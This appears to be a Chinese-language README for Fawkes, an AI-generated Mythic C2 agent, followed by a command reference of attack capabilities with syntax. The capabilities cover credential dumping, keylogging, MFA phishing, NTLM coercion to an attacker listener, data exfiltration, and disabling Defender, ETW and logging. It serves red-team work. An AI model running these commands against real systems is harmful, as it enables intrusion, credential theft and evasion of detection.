
fawkes — 已更新!
Fawkes 是一个由 AI 独家编写的 Golang Mythic C2 Agent。
Fawkes Mythic C2 Agent
Fawkes 是一个完全以氛围驱动的方式(vibe-coded)编写的 Mythic C2 代理。它始于一个“我想知道”的念头,如今已成为一个目标。我的目标是:不为此代理写一行代码,而是完全通过提示语(prompt)来生成它。
我最初尝试自己编写代理,但在克隆示例容器、阅读 Mythic 文档、观看开发系列 YouTube 视频,以及从 Merlin 或 Freyja 等其他代理复制代码后,我意识到自己根本没有时间开发自己的代理。不过,编写提示语这件事,我还是有时间做的。
Fawkes 是一个基于 Go 语言的代理,具备跨平台能力。它支持 Windows(EXE、DLL 和 shellcode 载荷)、Linux(ELF 二进制文件和共享库)以及 macOS(适用于 Intel 和 Apple Silicon 的 Mach-O 二进制文件)。总计 213 个命令:其中 113 个跨平台命令、82 个仅限 Windows 的命令、21 个仅限 Unix 的命令、11 个仅限 Linux 的命令,以及 6 个仅限 macOS 的命令(部分命令具有平台特定的实现,但共享同一个面向用户的名称,例如 screenshot)。支持 HTTP 出口和 TCP 点对点(P2P)链接,用于内部横向移动。
安装
要安装 Fawkes,你需要在一台远程计算机上安装 Mythic。你可以从 Mythic 项目页面 找到 Mythic 的安装说明。
从 Mythic 安装目录:``` ./mythic-cli install github https://github.com/galoryber/fawkes
## 命令快速参考Command | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | 读取/修改Active Directory对象DACL(添加/删除ACE,授予DCSync、GenericAll,备份/恢复)。跨平台 (T1222.001, T1098, T1003.006)。
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | 枚举AD证书服务,发现易受攻击的模板(ESC1-ESC4,通过DCOM的ESC6),通过DCOM请求证书以利用ESC1/ESC6,或自动利用(查找→解析→请求链)。跨平台 (T1649)。
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(仅Windows)** 管理NTFS备用数据流——写入、读取、列出或删除隐藏数据流。支持文本和十六进制编码的二进制。MITRE T1564.004。
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | 查询和清理取证执行痕迹。Windows: Shimcache。Linux: recently-used.xbel、缩略图、Tracker。macOS: 最近项目、KnowledgeC、隔离 (T1070.004)。
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(仅Windows)** 远程进程注入。`-method apc`(默认)通过NtQueueApcThread将shellcode排队到可提醒线程(使用`ts`查找)。`-method hwbp`通过DebugActiveProcess附加,在目标API(默认为`ntdll!NtDelayExecution`)上设置DR0硬件断点,并在断点触发时将Rip重定向到shellcode——无需TID,无需APC队列,无需CreateRemoteThread (T1055.004, T1055)。
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | 从麦克风录制音频并上传WAV文件。Windows (waveIn)、Linux (arecord/parecord)、macOS (rec/ffmpeg)。跨平台 (T1123)。
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(仅Windows)** 查询和修改Windows审核策略。在敏感操作前禁用安全事件日志记录。隐身模式禁用检测关键子类别。使用AuditQuerySystemPolicy API (T1562.002)。
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(仅Windows)** 使用伪造的进程参数执行命令。绕过Sysmon事件ID 1和EDR命令行遥测 (T1564.010)。
arp | `arp [-ip <subnet>]` 或 `arp -action spoof -target <IP> -gateway <IP>` | 显示带过滤的ARP表,或ARP缓存投毒用于中间人定位 (T1557.002)。欺骗:仅Linux,清理时恢复。
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | 为未启用预认证的账户请求AS-REP票据,并以hashcat格式提取哈希用于离线破解。通过LDAP自动枚举。跨平台 (T1558.004)。
av-detect | `av-detect [-deep true]` | 通过扫描运行进程并与130+签名数据库比对,检测已安装的AV/EDR/安全产品。使用`--deep`时,还会检查内核模块、systemd单元和配置目录以发现已安装但未运行的产品(Linux)。报告产品、供应商、类型和PID。跨平台。
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(仅Windows)** 通过跳转到最近的返回(C3)指令来自动修补函数。用于AMSI/ETW绕过。
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | 数据编码工具包:base64、XOR(使用字符串/十六进制密钥)、十六进制、ROT13、URL百分比编码、凯撒密码。均支持文件I/O。跨平台 (T1132.001, T1140, T1027)。
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(仅Windows)** 管理BITS传输作业以实现持久化和隐蔽文件下载。创建、暂停、恢复、完成作业并设置通知命令以实现持久化。作业在重启后持续存在 (T1197)。
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | 从Chromium、Firefox和Safari中提取浏览器数据。历史记录、自动填充、书签、下载跨平台。密码:Chromium (DPAPI/钥匙串/GNOME密钥环)、Firefox (key4.db NSS解密)、Safari (macOS钥匙串)。Firefox cookies在所有平台。MITRE T1555.003, T1217。
cat | `cat <file>` 或 `cat -path <file> -start N -end N -number true` | 显示文件内容,可指定行范围、行号,并有5MB大小保护。
cd | `cd <directory>` | 更改当前工作目录。
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | 使用八进制(755、644)或符号(+x、u+rw、go-w)表示法修改文件/目录权限。支持递归。跨平台 (T1222)。
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(仅Linux/macOS)** 通过用户名/UID和组名/GID更改文件/目录所有者。支持递归 (T1222)。
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | 检查远程主机上的TLS证书——识别CA、自签名证书、过期时间、SAN、TLS版本、密码套件和SHA256指纹。跨平台 (T1590.001)。
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(仅Windows)** 枚举Windows证书存储以查找代码签名证书、客户端身份验证证书和私钥。搜索CurrentUser和LocalMachine。MITRE T1552.004, T1649。
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | 读取/写入剪贴板或持续监控更改并检测凭据模式。跨平台 (T1115)。
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | 云元数据、凭据提取、IAM枚举、存储枚举、持久化和机密存储访问。storage/aws-s3/azure-blob/gcp-gcs:枚举包含示例对象的存储桶/容器。aws-ssm:带解密的SSM参数存储。azure-keyvault:通过托管标识访问Key Vault机密。gcp-secrets:通过服务账号访问Secret Manager。aws-persist/azure-persist:创建长期访问密钥/应用注册。自动检测。IMDSv2。跨平台 (T1552.005, T1580, T1530, T1098.001)。
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | 创建、列出、提取、暂存或外泄归档。暂存使用AES-256-GCM加密。外泄传输到Mythic。exfil-https:通过分块上传、自定义头部、抖动上传到S3/Azure/GCS预签名URL。exfil-github:通过GitHub Contents API外泄。跨平台 (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001)。
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | 通过MS-EFSR (PetitPotam)、MS-RPRN (PrinterBug)、MS-FSRVP (ShadowCoerce) 进行NTLM身份验证强制。强制目标对攻击者监听器进行身份验证。支持传递哈希。跨平台 (T1187)。
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | 查看或修改运行时代理配置,或自更新代理二进制文件。`show`/`set`:休眠、抖动、结束日期、工作时间。`update`:从Mythic下载新payload,验证,启动并退出当前代理。跨平台 (T1105)。
container-detect | `container-detect` | 检测容器运行时和环境(Docker、K8s、LXC、Podman、WSL)。检查逃逸向量如Docker套接字和K8s服务账号。跨平台 (T1082, T1497.001)。
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(仅Linux)** 容器逃逸 + K8s操作——Docker套接字、cgroup、nsenter、主机设备挂载。K8s:枚举pod/服务、读取机密、**k8s-rbac**:ClusterRole/RoleBinding扫描 + 权限提升路径评分(严重/警告/信息)、**k8s-nodes**:集群节点攻击面(kubelet/OS/内核/CIDR/污点/角色)、**k8s-etcd**:从控制平面pod参数发现etcd客户端端点 + 每个端点的未认证`/version`探测(未认证读取 = 完全集群沦陷)、通过API部署/执行pod。**集群外**:`-kubeconfig`接受窃取的kubeconfig文件,用于非容器主机上的K8s访问(令牌+客户端证书认证)(T1611, T1610, T1613, T1552.007, T1069.003, T1087.004)。
cp | `cp <source> <destination>` | 将文件从源复制到目标。
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | 在目标主机上测试凭据是否可用于SMB、WinRM和LDAP。`verify-all`并行测试所有存储凭据对发现的主机。跨平台 (T1110.001, T1078)。
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | 收集凭据:影子哈希(Unix)、云配置(AWS/GCP/Azure/K8s)、应用机密、shell历史记录扫描泄漏的密码/令牌/API密钥、PowerShell历史记录+环境变量+RDP(Windows)、来自TokenBroker/Teams/Outlook的M365 OAuth/JWT令牌(Windows)、**browser-live**:通过Chrome DevTools协议(CDP)从运行的Chrome/Edge窃取实时cookie、localStorage、sessionStorage。**dump-all**:自动化子任务链——并行运行hashdump + lsa-secrets + cred-harvest(Windows)。跨平台 (T1552, T1003.008, T1528, T1539)。
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | 显示原生凭据对话框、滥用OAuth设备代码流或钓鱼MFA代码。dialog:macOS AppleScript、Windows CredUI、Linux zenity/kdialog。device-code:用于令牌捕获的Azure AD OAuth设备代码流。mfa-phish:伪造的MFA验证对话框以捕获TOTP代码。跨平台 (T1056.002, T1621, T1111)。
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | HTTP请求 + 文件上传外泄 (T1567)。上传到S3预签名URL、Azure SAS、通用端点。跨平台 (T1106, T1567.002)。
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | 从文件行中提取字段或字符范围。自定义分隔符、范围说明。跨平台 (T1083)。
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | 枚举平台凭据存储。Windows:凭据管理器 + 保管库 (CredEnumerateW, vaultcli.dll)。Linux:GNOME密钥环 (secret-tool)、KDE KWallet、NetworkManager WiFi/VPN密码、GNOME在线账号。macOS:钥匙串项(通用+互联网密码)、WiFi密码。`list`=元数据,`dump`=包含机密,`vault`=仅Windows。MITRE T1555.004, T1555.001。
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(仅Windows)** 管理Defender——状态、排除项、威胁、启用/禁用实时保护。MITRE T1562.001。
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(仅Windows)** DPAPI blob解密 (CryptUnprotectData)、主密钥枚举、Chrome/Edge加密密钥提取。MITRE T1555.003/T1555.005。
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(仅Windows)** 通过COM访问Outlook邮箱。统计消息数、按关键字搜索、按索引读取、列出文件夹。MITRE T1114.001。
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(仅Windows)** 通过DCOM在远程主机上执行命令、上传文件或暂存并执行。`check`验证RPC/DCOM先决条件。upload:通过certutil/PowerShell暂存传输文件。exec-staged:上传然后执行并自动清理。六个COM对象。MITRE T1021.003, T1570。
debug-detect | `debug-detect` | 检测附加的调试器、分析工具和检测工具。Windows:IsDebuggerPresent、NtQueryInformationProcess、PEB、DR寄存器。Linux:TracerPid、LD_PRELOAD、内存映射(Frida/Valgrind/sanitizers)、VM/沙箱、eBPF监控(Falco/Tetragon/Tracee)、auditd框架、ptrace范围。macOS:sysctl P_TRACED、DYLD_INSERT_LIBRARIES、VM检测(sysctl)、安全产品(EDR/AV)、沙箱/分析环境。全部:调试器进程扫描 (T1497.001)。
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync——通过DRS复制AD凭据而不接触LSASS。`domain-takeover`并行运行kerberoast + asrep-roast + dcsync krbtgt/Administrator。跨平台 (T1003.006)。
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | 报告文件系统磁盘空间使用情况,可选设备、挂载点或文件系统类型过滤。跨平台 (T1082)。
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | 比较两个文件并以统一差异格式显示差异。基于LCS的算法,可配置上下文行数。跨平台 (T1083)。
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | DNS枚举——解析主机、查询记录、发现域控制器、区域传输、通配符检测、DNS-over-HTTPS隐蔽解析、DNS外泄。跨平台 (T1018, T1071.004, T1048.001)。
du | `du -path <file_or_dir> [-max_depth <n>]` | 报告文件和目录的磁盘使用情况。按子目录显示大小细分,按最大排序。跨平台 (T1083)。
drivers | `drivers [-filter <name>]` | 枚举已加载的内核驱动程序/模块。Windows:EnumDeviceDrivers,Linux:/proc/modules,macOS:kext枚举。跨平台 (T1082)。
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | 通过LDAP枚举AD密码/锁定策略和FGPP。推荐安全喷洒设置。跨平台 (T1201)。
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(仅Linux/macOS)** 列出、添加或删除cron作业以实现持久化。支持原始cron条目或程序+计划语法。
download | `download <path>` 或 `download {"path": "/file", "compress": true}` | 从目标下载文件或目录。大于1MB的文件自动用gzip压缩(可配置)。目录自动压缩为zip。SHA256哈希验证。分块传输,文件浏览器集成。
drives | `drives` | 列出可用驱动器/卷和已挂载文件系统,包含类型、标签/设备和空闲/总空间。
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(仅Windows)** 枚举所有进程中的访问令牌。`list`显示每个进程的PID/用户/完整性/会话。`unique`按用户分组并显示进程数。自动启用SeDebugPrivilege (T1134, T1057)。
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | AES-256-GCM加密/解密 (T1486) + 定向文件破坏 (T1565)。corrupt:用随机数据覆盖文件头。破坏性操作需要安全门。
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | 列出、获取、设置或取消设置代理进程的环境变量。更改由子进程继承。跨平台。
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | 扫描进程环境变量以查找泄漏的凭据、API密钥和机密。跨云、数据库、CI/CD和加密类别的35+检测模式。Linux + macOS (T1057, T1552.001)。
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows、Linux、macOS)** 审核/遥测子系统操控。Windows:ETW会话/提供者停止/盲化/全部盲化/启用/修补/恢复。Linux:auditd规则、journald清除/轮转、syslog配置、SIEM代理检测。macOS:统一日志、安全代理检测。(T1562, T1070.002)。
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | 管理系统事件日志。Windows:wevtapi.dll通道。Linux:journald单元和syslog文件。macOS:统一日志 (os_log) 子系统/进程。列出源、查询事件、清除/清理日志、获取信息。MITRE T1070.001, T1562.002。
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | 从内存执行本地二进制文件。Linux:memfd_create(不写入磁盘)。macOS:临时文件附带临时代码签名。Windows:临时文件并立即清理。所有平台执行后移除痕迹。MITRE T1620。
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | 在当前进程中执行shellcode。支持XOR/AES-256-CTR编码的shellcode并运行时解码 (T1027)。Windows:VirtualAlloc + CreateThread。Linux:mmap(默认)或memfd_create。macOS:MAP_JIT (ARM64) 或 mmap。跨平台 (T1059.006, T1620)。
exit | `exit` | 任务代理退出。
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | 获取或设置文件属性——hidden、readonly、system(Windows);immutable、append、nodump(Linux);hidden、immutable(macOS)。省略 -attrs 可查看当前标志。跨平台 (T1564.001, T1222)。
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | 通过魔数(35+签名)识别文件类型。单个文件或目录扫描。检测可执行文件、归档、文档、图片、数据库、媒体等。跨平台 (T1083)。
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | 按名称、大小、日期、权限或所有者搜索文件。查找SUID二进制文件、全局可写文件、特定用户拥有的文件。跨平台 (T1083)。
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | 扫描主机以发现哪些主机上的凭据具有管理员访问权限(通过SMB C$共享和/或WinRM)。**auto-move**:自动化子任务链——查找管理员主机,然后通过psexec/wmi横向移动到每个主机。支持CIDR、IP范围、PTH、并行扫描 (T1021.002, T1021.006)。
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows、macOS、Linux)** 管理防火墙规则。Windows:COM API。macOS:ALF + pf锚定规则。Linux:iptables/nftables(自动检测)。为macOS包过滤提供PF锚点支持。MITRE T1562.004。
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows、macOS、Linux)** 列出权限/能力。Windows:令牌权限,可启用/禁用/剥离。Linux:进程能力 (CapEff/CapPrm) + SELinux/AppArmor上下文。macOS:权限、沙箱、组 (T1134.002)。
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows、Linux、macOS)** 权限提升。Windows:通过令牌窃取或DCOM potato获取SYSTEM。Linux:检查提升向量(SUID、sudo、能力、docker)或尝试sudo提权。macOS:检查向量、sudo或osascript管理员提示 (T1134, T1548)。
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | 在SYSVOL中搜索包含加密cpassword属性的GPP XML文件,并使用公布的AES密钥解密 (MS14-025)。通过SMB跨平台 (T1552.006)。
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | 通过LDAP枚举组策略对象——列出GPO、映射链接及强制、发现有趣的CSE设置。跨平台 (T1615)。
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | 在文件内容中搜索正则表达式模式。递归目录搜索,支持扩展名过滤、上下文行和跳过二进制文件。跨平台 (T1083, T1552.001)。
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | 计算文件哈希(MD5、SHA-1、SHA-256、SHA-512)。单个文件或目录,支持通配符模式过滤和深度控制。跨平台 (T1083)。
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | 以xxd风格的十六进制+ASCII格式显示文件内容。偏移/长度控制以检查特定区域,最大4096字节。跨平台 (T1005)。
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows、Linux、macOS)** 枚举进程中的打开句柄/文件描述符。Windows:NtQuerySystemInformation。Linux:/proc/pid/fd。macOS:lsof (T1057, T1082)。
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows、Linux、macOS)** 提取本地帐户密码哈希。Windows:从SAM注册表获取NTLM哈希(需要SYSTEM);**insitu**:通过进程内LSA API枚举活动登录会话(需要管理员);**insitu-full**:以PROCESS_VM_READ打开lsass.exe,在lsasrv.dll中签名扫描LogonSessionList,遍历链表,在每个节点上叠加KIWI_MSV1_0_LIST_63布局以解析LUID/用户名/域/认证包/登录类型/凭据指针,遍历credentials_ptr处每个认证包的凭据链以捕获每个KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC信封,签名扫描LsaInitializeProtectedMemory_Internal以恢复IV / h3DesKey / hAesKey BCrypt密钥全局变量以及原始16字节IV / 24字节3DES / 32字节AES密钥字节,AES-256-CFB / 3DES-CBC解密每个捕获的密文blob(按`len % 8`逐blob选择),并叠加KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW布局以提取NT/LM/SHA哈希——以`username:rid:lm:nt:::`格式输出,兼容dump-action ProcessResponse凭据存储钩子(Phase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c,Win10 21H2 — Win11 23H2,需要管理员)。Linux:/etc/shadow哈希,带哈希类型识别(需要root)。macOS:来自用户plist的目录服务PBKDF2哈希(需要root)。**auto-spray**:转储哈希,然后通过cred-check自动针对目标主机进行喷洒。MITRE T1003.002, T1003.008。
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | 列出或清除shell/应用程序命令历史文件。涵盖bash、zsh、fish、PowerShell、python、mysql等。跨平台 (T1070.003)。
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | 进程空洞——创建挂起的进程、写入shellcode、重定向执行。**Windows:** CREATE_SUSPENDED + SetThreadContext、PPID欺骗、DLL阻止、PEB装饰(ImagePath/CommandLine/WindowTitle掩蔽)。**Linux (amd64/arm64):** PTRACE_TRACEME + /proc/mem写入。**macOS:** ptrace + Mach VM API (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) —— 需要root。MITRE T1055.012, T1036。
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | 枚举IDE配置——VS Code扩展、远程SSH主机、最近项目、包含机密的设置。JetBrains数据源、部署服务器、最近项目。跨平台 (T1005, T1083)。
ifconfig | `ifconfig` | 列出网络接口,包含地址、MAC、MTU和标志。跨平台 (Windows/Linux/macOS)。
inline-assembly | `inline-assembly` | **(仅Windows)** 使用CLR在内存中执行.NET程序集。支持命令行参数。先使用`start-clr`进行AMSI修补工作流。
inline-execute | `inline-execute` | **(仅Windows)** 在内存中执行Beacon Object File (BOF/COFF)。支持所有参数类型:字符串 (z)、宽字符串 (Z)、整数 (i)、短整数 (s) 和二进制 (b)。
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(仅Windows)** 从内存加载本地PE(DLL)到当前进程。手动PE映射,包含节复制、重定位修复、导入解析和DllMain调用。可选择调用导出函数 (T1620)。
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(仅Linux)** 通过iptables/nftables/ufw进行Linux防火墙枚举和管理。IP转发、连接跟踪、规则列出和修改。MITRE T1562.004。
jobkill | `jobkill -id <task-uuid>` | 按任务ID停止正在运行的任务。使用`jobs`列出正在运行的任务。跨平台。
jobs | `jobs` | 列出当前正在运行的任务,包含任务ID、命令名称和持续时间。跨平台。
jxa | `jxa -code '<script>' [-timeout 60]` 或 `jxa -file /path/to/script.js` | **(仅macOS)** 执行JavaScript for Automation (JXA)脚本,通过ObjC桥接访问Foundation、AppKit、Security框架。支持内联代码和文件输入 (T1059.007)。
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | 为SPN账户请求TGS票据,并以hashcat格式提取哈希用于离线破解。通过LDAP自动枚举。跨平台 (T1558.003)。
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | 枚举、转储、清除和导入Kerberos票据。导入启用传递票据:Windows通过LSA注入kirbi,Linux/macOS写入ccache并设置KRB5CCNAME。跨平台 (T1558, T1550.003)。
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **(仅macOS)** 访问macOS钥匙串——列出钥匙串、转储元数据、查找通用/互联网密码、枚举证书。
kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | 枚举Kerberos委派关系——非约束、约束(含协议转换)、RBCD。**monitor**动作(仅Windows/SYSTEM)轮询LSA以获取传入TGT并导出为kirbi blob。除monitor外跨平台 (T1550.003, T1558)。
keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | 低级键盘记录器。Windows:SetWindowsHookEx。Linux:/dev/input evdev。macOS:IOKit HID。检测Ctrl+V/Cmd+V粘贴事件并捕获剪贴板内容。所有平台上的窗口上下文跟踪 (T1056.001)。
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | 测试针对目标的横向移动选项——检查SMB、WinRM、RDP、RPC、SSH连接性并建议适用的方法。跨平台 (T1046, T1021)。
last | `last [-action logins\|failed\|reboot] [-count 25] [-user <username>]` | 显示登录历史、失败登录尝试和系统启动/关闭事件。Linux:解析wtmp/btmp。Windows:安全/系统事件日志。macOS:原生`last` + 统一日志。(T1087.001, T1110, T1082)。
ldap-query | `ldap-query -action <users\|computers\|groups\|domain-admins\|spns\|asrep\|admins\|disabled\|gpo\|ou\|password-never-expires\|trusts\|unconstrained\|constrained\|dacl\|gmsa\|bloodhound\|query> -server <DC>` | 通过LDAP查询Active Directory。预设查询:用户、计算机、组、域管理员、所有管理员 (adminCount)、SPN、可AS-REP烘焙的、禁用账户、GPO、OU、密码永不过期、域信任、非约束/约束委派、DACL分析、gMSA密码提取、BloodHound CE v6收集(用户/计算机/组/OU/GPO/信任用于图分析)或自定义LDAP过滤器。跨平台 (T1087.002, T1482, T1555, T1003, T1615)。
ldap-write | `ldap-write -action <add-member\|remove-member\|set-attr\|add-attr\|remove-attr\|set-spn\|disable\|enable\|set-password\|shadow-cred\|clear-shadow-cred\|create-machine\|rbcd\|delete\|gpo-task\|gpo-script\|template-esc1\|template-esc4> -server <DC> -target <obj>` | 通过LDAP修改AD对象。组成员身份、属性、SPN、账户启用/禁用、密码重置、影子凭据、计算机账户创建、RBCD委派、对象删除。GPO滥用:注入计划任务 (gpo-task) 或启动脚本 (gpo-script)。ADCS:修改证书模板以用于ESC1/ESC4利用。跨平台 (T1098, T1556.006, T1484.001, T1649)。
kill | `kill -pid <PID>` | 按PID终止进程。跨平台 (Windows/Linux/macOS)。
laps | `laps -server <DC> -username <user@domain> -password <pass> [-filter <computer>]` | 通过LDAP从AD读取LAPS密码。支持LAPS v1 (ms-Mcs-AdmPwd) 和Windows LAPS v2 (ms-LAPS-Password)。跨平台 (T1552.006)。
lsa-secrets | `lsa-secrets -action <dump\|cached>` | **(仅Windows)** 提取LSA机密(服务密码、DPAPI密钥、机器账户)和缓存的域凭据(DCC2/MSCacheV2 hashcat格式)。需要SYSTEM (T1003.004, T1003.005)。
launchagent | `launchagent -action <install\|remove\|list> -label <com.example.name> [-path <exe>] [-daemon true]` | **(仅macOS)** 安装、移除或列出LaunchAgent/LaunchDaemon持久化。创建包含RunAtLoad+KeepAlive的plist。
link | `link -host <ip> -port <port> [-connection_type tcp\|namedpipe] [-pipe_name <name>]` | 通过TCP或命名管道连接到P2P代理以进行内部跳转。命名管道模式使用SMB端口445以实现更隐蔽的Windows流量。跨平台TCP,仅Windows命名管道 (T1572)。
ln | `ln -target <existing> -link <new> [-symbolic true] [-force true]` | 创建符号链接或硬链接。符号链接可以指向不存在的路径。强制模式替换现有链接。跨平台 (T1036)。
linux-logs | `linux-logs -action <list\|read\|logins\|clear\|truncate\|shred> [-file <path>] [-search <filter>] [-lines <n>]` | **(仅Linux)** 列出、读取、清除或篡改Linux日志文件和二进制登录记录 (wtmp/btmp/utmp)。支持选择性删除行和安全粉碎 (T1070.002)。
